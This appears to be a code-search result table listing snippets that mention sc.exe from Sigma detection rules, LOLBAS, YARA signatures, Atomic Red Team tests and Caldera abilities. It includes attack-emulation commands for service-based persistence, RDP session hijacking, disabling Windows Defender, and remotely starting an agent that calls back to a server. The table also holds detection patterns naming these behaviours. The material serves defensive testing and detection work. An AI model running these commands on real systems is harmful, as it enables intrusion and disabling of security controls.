| sigma |
image_load_suspicious_dbghelp_dbgcore_load.yml |
- '\sc.exe' |
DRL 1.0 |
| sigma |
proc_creation_win_multiple_suspicious_cli.yml |
- sc.exe |
DRL 1.0 |
| sigma |
proc_creation_win_new_service_creation.yml |
- Image\|endswith: '\sc.exe' |
DRL 1.0 |
| sigma |
proc_creation_win_service_stop.yml |
- '\sc.exe' |
DRL 1.0 |
| sigma |
proc_creation_win_susp_recon.yml |
- '\sc.exe' |
DRL 1.0 |
| sigma |
proc_creation_win_susp_service_dacl_modification.yml |
- '\sc.exe' |
DRL 1.0 |
| sigma |
proc_creation_win_susp_service_path_modification.yml |
Image\|endswith: '\sc.exe' |
DRL 1.0 |
| sigma |
proc_creation_win_susp_spoolsv_child_processes.yml |
- \sc.exe |
DRL 1.0 |
| sigma |
proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml |
description: Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand |
DRL 1.0 |
| sigma |
proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml |
Image\|endswith: '\sc.exe' |
DRL 1.0 |
| sigma |
proc_creation_win_using_sc_to_hide_sevices.yml |
description: Detection of sc.exe utility adding a new service with special permission which hides that service. |
DRL 1.0 |
| sigma |
proc_creation_win_using_sc_to_hide_sevices.yml |
Image\|endswith: '\sc.exe' |
DRL 1.0 |
| LOLBAS |
Sc.yml |
Name: Sc.exe |
|
| LOLBAS |
Sc.yml |
- Path: C:\Windows\System32\sc.exe |
|
| LOLBAS |
Sc.yml |
- Path: C:\Windows\SysWOW64\sc.exe |
|
| malware-ioc |
misp-badiis.json |
"description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", |
© ESET 2014-2018 |
| atomic-red-team |
T1489.md |
Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1489.md |
sc.exe stop #{service_name} |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1489.md |
sc.exe start #{service_name} >nul 2>&1 |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1543.003.md |
<blockquote>Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg. |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1543.003.md |
Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1543.003.md |
sc.exe create #{service_name} binPath= #{binary_path} |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1543.003.md |
sc.exe start #{service_name} |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1543.003.md |
sc.exe stop #{service_name} >nul 2>&1 |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1543.003.md |
sc.exe delete #{service_name} >nul 2>&1 |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1543.003.md |
sc.exe delete W64Time |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1562.001.md |
if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 } |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1562.001.md |
sc.exe config #{service_name} start= disabled |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1562.001.md |
sc.exe config #{service_name} start= auto >nul 2>&1 |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1563.002.md |
sc.exe create sesshijack binpath= “cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}” |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1563.002.md |
sc.exe delete sesshijack >nul 2>&1 |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1569.002.md |
<blockquote>Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net. |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1569.002.md |
Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file art-marker.txt |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1569.002.md |
sc.exe create #{service_name} binPath= “#{executable_command}” |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1569.002.md |
sc.exe start #{service_name} |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1569.002.md |
sc.exe delete #{service_name} |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1574.011.md |
<blockquote>Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security) |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1574.011.md |
sc.exe delete #{weak_service_name} |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1574.011.md |
sc.exe create #{weak_service_name} binpath= “#{weak_service_path}” |
MIT License. © 2018 Red Canary |
| atomic-red-team |
T1588.002.md |
#{local_folder}#{local_executable} /EXEFilename “C:\Windows\System32\sc.exe” /WindowState 0 /CommandLine “stop WinDefend” /StartDirectory “” /RunAs 8 /Run |
MIT License. © 2018 Red Canary |
| signature-base |
crime_ransom_robinhood.yar |
$s4 = “sc.exe stop SQLAgent$SQLEXPRESS” nocase |
CC BY-NC 4.0 |
| signature-base |
gen_empire.yar |
$s1 = “$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath” fullword ascii |
CC BY-NC 4.0 |
| signature-base |
gen_empire.yar |
$s2 = “$Result = sc.exe pause $($TargetService.Name)” fullword ascii |
CC BY-NC 4.0 |
| stockpile |
95727b87-175c-4a69-8c7a-a5d82746a753.yml |
sc.exe \\#{remote.host.fqdn} stop sandsvc; |
Apache-2.0 |
| stockpile |
95727b87-175c-4a69-8c7a-a5d82746a753.yml |
sc.exe \\#{remote.host.fqdn} delete sandsvc /f; |
Apache-2.0 |
| stockpile |
95727b87-175c-4a69-8c7a-a5d82746a753.yml |
sc.exe \\#{remote.host.fqdn} create sandsvc start= demand error= ignore binpath= "cmd /c start C:\Users\Public\s4ndc4t.exe -server #{server} -v -originLinkID #{origin_link_id}" displayname= "Sandcat Execution"; |
Apache-2.0 |
| stockpile |
95727b87-175c-4a69-8c7a-a5d82746a753.yml |
sc.exe \\#{remote.host.fqdn} start sandsvc; |
Apache-2.0 |